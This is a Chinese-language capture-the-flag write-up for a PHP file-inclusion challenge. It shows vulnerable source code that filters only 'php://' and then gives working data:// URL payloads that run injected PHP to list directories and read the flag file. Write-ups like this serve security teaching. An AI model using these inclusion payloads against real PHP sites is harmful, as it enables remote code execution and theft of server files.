背景知识
文件包含
file://协议
php://协议
data://协议
了解strstr函数
题目
<?php
show_source(__FILE__);
echo $_GET['hello']; /*可以构造payload*/
$page=$_GET['page'];
while (strstr($page, "php://")) { /*strstr()函数*/
$page=str_replace("php://", "", $page); /*page参数中带有php://的都会被替换成空*/
}
include($page);
?>
由于file://协议用于本地系统,所以考虑用data://协议
先进行测试
/?page=data://text/plain,<?php phpinfo()?> /*可以使用base64防止乱码问题*/
再利用,可得到目录路径
/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>
再利用,可得到当前目录文件
/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>
看到fl4g文件,再用 file_get_contents 就可以读取里面的内容
/?page=data://text/plain,<?php $a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars($a); ?>
得到flag
其他解法待更新
参考文章链接:
https://blog.csdn.net/weixin_43818995/article/details/104164700
https://blog.csdn.net/weixin_63810302/article/details/125383740
https://blog.csdn.net/yingyugo/article/details/109783035
https://blog.csdn.net/2301_77300311/article/details/130487360